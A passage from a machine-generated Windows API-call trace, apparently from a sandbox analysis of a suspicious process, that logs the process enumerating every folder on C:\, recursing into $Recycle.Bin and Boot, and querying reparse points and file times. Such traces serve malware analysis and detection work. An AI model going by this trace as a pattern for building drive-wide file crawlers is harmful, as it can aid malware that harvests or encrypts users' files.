ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0253.907] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaf0e7ea0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0253.907] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.907] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.907] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.907] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.907] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.907] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0xa8ffb8 [0253.907] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f038 [0253.907] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.907] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0253.907] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xad80f900, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0253.907] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.907] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.908] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.908] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.908] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.908] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0xa8dd90 [0253.908] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8efb0 [0253.908] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.908] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0253.908] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa44a8750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa44a8750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files", cAlternateFileName="")) returned 1 [0253.908] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files (x86)", cAlternateFileName="")) returned 1 [0253.908] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="ProgramData", cAlternateFileName="")) returned 1 [0253.908] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Recovery", cAlternateFileName="")) returned 1 [0253.908] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x786cbf10, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x786cbf10, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="System Volume Information", cAlternateFileName="")) returned 1 [0253.908] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Users", cAlternateFileName="")) returned 1 [0253.908] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Windows", cAlternateFileName="")) returned 1 [0253.908] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Windows", cAlternateFileName="")) returned 0 [0253.908] GetLastError () returned 0x12 [0253.908] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x118fa34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118fa34) returned 0x548f80 [0253.908] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0253.909] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.909] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), fInfoLevelId=0x0, lpFileInformation=0x118f930 | out: lpFileInformation=0x118f930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0253.909] CreateFileW (lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0253.909] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f974, lpLastWriteTime=0x118f974) returned 0 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x184) returned 0x943850 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948248 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9484d0 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948488 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948440 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9483f8 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9483b0 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9482d8 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948290 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9489e0 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487e8 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948a28 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948a70 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948ab8 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948b00 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948b48 [0253.910] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948b90 [0253.910] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f9cc, lpOverlapped=0x0) returned 0 [0253.911] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0253.911] NtClose (Handle=0x14c) returned 0x0 [0253.911] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.911] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.911] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ef28 [0253.911] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eea0 [0253.911] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x548fc0 [0253.911] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.911] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0253.911] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0253.911] GetLastError () returned 0x12 [0253.911] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x548f40 [0253.912] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0253.912] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.912] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0253.912] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0253.912] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0253.912] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0253.912] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0253.912] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0253.912] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0253.913] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0253.913] NtClose (Handle=0x14c) returned 0x0 [0253.913] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0253.913] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0253.913] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ed90 [0253.913] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x9439e0 [0253.913] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0253.913] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x943ae8 [0253.913] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0253.913] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.032] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0254.032] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.032] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.032] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.032] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.032] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.032] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x943bf0 [0254.032] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ed90) returned 1 [0254.032] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0xa8ddb0 [0254.032] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x943cf8 [0254.032] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.032] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0254.032] GetLastError () returned 0x12 [0254.032] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x549000 [0254.033] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.033] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.033] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0254.033] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0254.033] GetLastError () returned 0x12 [0254.033] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943ae8) returned 1 [0254.033] FindClose (in: hFindFile=0x549000 | out: hFindFile=0x549000) returned 1 [0254.033] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943bf0) returned 1 [0254.033] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9439e0) returned 1 [0254.033] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0254.033] GetLastError () returned 0x12 [0254.033] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eea0) returned 1 [0254.033] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.033] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ef28) returned 1 [0254.033] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0254.033] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Boot", cAlternateFileName="")) returned 1 [0254.033] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0254.034] GetFileAttributesExW (in: lpFileName="C:\\Boot" (normalized: "c:\\boot"), fInfoLevelId=0x0, lpFileInformation=0x118f930 | out: lpFileInformation=0x118f930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0254.034] CreateFileW (lpFileName="C:\\Boot" (normalized: "c:\\boot"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0254.034] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f974, lpLastWriteTime=0x118f974) returned 0 [0254.034] RtlAllocateHeap 